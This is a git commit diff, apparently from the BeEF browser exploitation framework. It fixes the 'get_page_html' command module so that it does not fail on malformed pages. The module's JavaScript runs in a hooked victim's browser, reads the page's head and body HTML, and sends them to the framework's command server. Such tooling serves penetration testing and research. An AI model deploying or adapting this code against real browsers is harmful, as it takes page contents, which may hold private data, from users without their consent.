Fixed bug in the get_page_html module where nothing was returned if the

hooked page was malformed
This commit is contained in:
bcoles
2011-12-10 16:45:44 +10:30
parent a49d1351e7
commit a72c096e0f

View File

@@ -15,8 +15,19 @@
//
beef.execute(function() {
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+escape(document.head.innerHTML.toString()));
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+escape(document.body.innerHTML.toString()));
try {
var html_head = escape(document.head.innerHTML.toString());
} catch (e) {
var html_head = "Error: document has no head";
}
try {
var html_body = escape(document.body.innerHTML.toString());
} catch (e) {
var html_body = "Error: document has no body";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head);
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+html_body);
});